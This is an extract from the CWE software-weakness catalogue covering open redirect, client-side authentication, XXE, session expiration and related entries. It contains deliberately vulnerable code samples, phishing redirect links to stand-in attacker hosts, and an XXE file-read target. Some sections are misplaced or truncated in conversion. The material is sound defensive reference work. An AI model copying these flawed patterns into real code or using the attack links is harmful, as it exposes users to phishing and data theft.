The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Alternate Terms

Open Redirect :

Cross-site Redirect :

Cross-domain Redirect :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.*	
Access Control Confidentiality Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Other *The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which

inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

Example Language: PHP *(bad)*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

Example Language: *(attack)*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(bad)*

```
public class RedirectServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
    {
        String query = request.getQueryString();
        if (query.contains("url")) {
            String url = request.getParameter("url");
            response.sendRedirect(url);
        }
    }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4206*

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID : 602 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1140
ParentOf	B	603	Use of Client-Side Authentication	1204
PeerOf	B	290	Authentication Bypass by Spoofing	640
PeerOf	C	300	Channel Accessible by Non-Endpoint	663
PeerOf	B	836	Use of Password Hash Instead of Password for Authentication	1549
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Availability	Bypass Protection Mechanism DoS: Crash, Exit, or Restart *Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.*	

Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side

checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Example Language: Perl *(good)*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
    # username/pass is valid, go ahead and update the info!
    writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
    print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Example Language: *(bad)*

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
    ($username, $pass) = split(/\s+/, $args, 2);
    $result = AuthenticateUser($username, $pass);
    writeSocket($sock, "$result\n");
```

```
    # does not close the socket on failure; assumes the
    # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
    if (validateAddress($args)) {
        $res = UpdateDatabaseRecord($username, "address", $args);
        writeSocket($sock, "SUCCESS\n");
    }
    else {
        writeSocket($sock, "FAILURE -- address is malformed\n");
    }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Observed Examples

Reference	Description
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6994*
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0163*
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0164*
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0100*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874

CWE-603: Use of Client-Side Authentication

Weakness ID : 603 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Potential Mitigations

Phase: Architecture and Design

Do not rely on client side data. Always perform server side authentication.

Observed Examples

Reference	Description
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0230*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Notes

Maintenance

Note that there is a close relationship between this weakness and CWE-656 (Reliance on Security through Obscurity). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

CWE-605: Multiple Binds to the Same Port

Weakness ID : 605 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Extended Description

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1298
ChildOf		675	Duplicate Operations on Resource	1316

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data *Packets from a variety of network services may be stolen or the services spoofed.*	

Potential Mitigations

Phase: Policy

Restrict server socket address to known local addresses.

Demonstrative Examples

Example 1:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C *(bad)*

```
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

MemberOf Relationships

CWE-606: Unchecked Input for Loop Condition

Weakness ID : 606 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	1837
CanPrecede	C	834	Excessive Iteration	1544

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
void iterate(int n){
    int i;
    for (i = 0; i < n; i++){
        foo();
    }
}
void iterateFoo()
{
    unsigned int num;
    scanf("%u",&num);
```

```
    iterate(num);
}
```

Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-607: Public Static Final Field References Mutable Object

Weakness ID : 607 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	999

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Demonstrative Examples

Example 1:

Here, an array (which is inherently mutable) is labeled public static final.

Example Language: Java *(bad)*

```
public static final String[] USER_ROLES;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID : 608 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java *(bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // variables for registration form
    public String name;
    public String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Example Language: Java *(good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

CWE-609: Double-Checked Locking

Weakness ID : 609 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299
CanPrecede	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

Demonstrative Examples

Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(bad)*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: *(bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1948
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks

CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID : 611 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

XXE : XXE is an acronym used for the term "XML eXternal Entities"

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Integrity	Bypass Protection Mechanism *The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.*	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *The software could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.*	

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

Observed Examples

MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

CWE-612: Improper Authorization of Index Containing Sensitive Information

Weakness ID : 612 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.

Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-613: Insufficient Session Expiration

Weakness ID : 613 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	672	Operation on a Resource after Expiration or Release	1310

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2016

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Set sessions/credentials expiration date.

Demonstrative Examples

Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Example Language: Java *(bad)*

```
<web-app>
   [...snipped...]
   <session-config>
      <session-timeout>-1</session-timeout>
   </session-config>
</web-app>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Notes

Other

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	47		Insufficient Session Expiration

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID : 614 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

Relationships

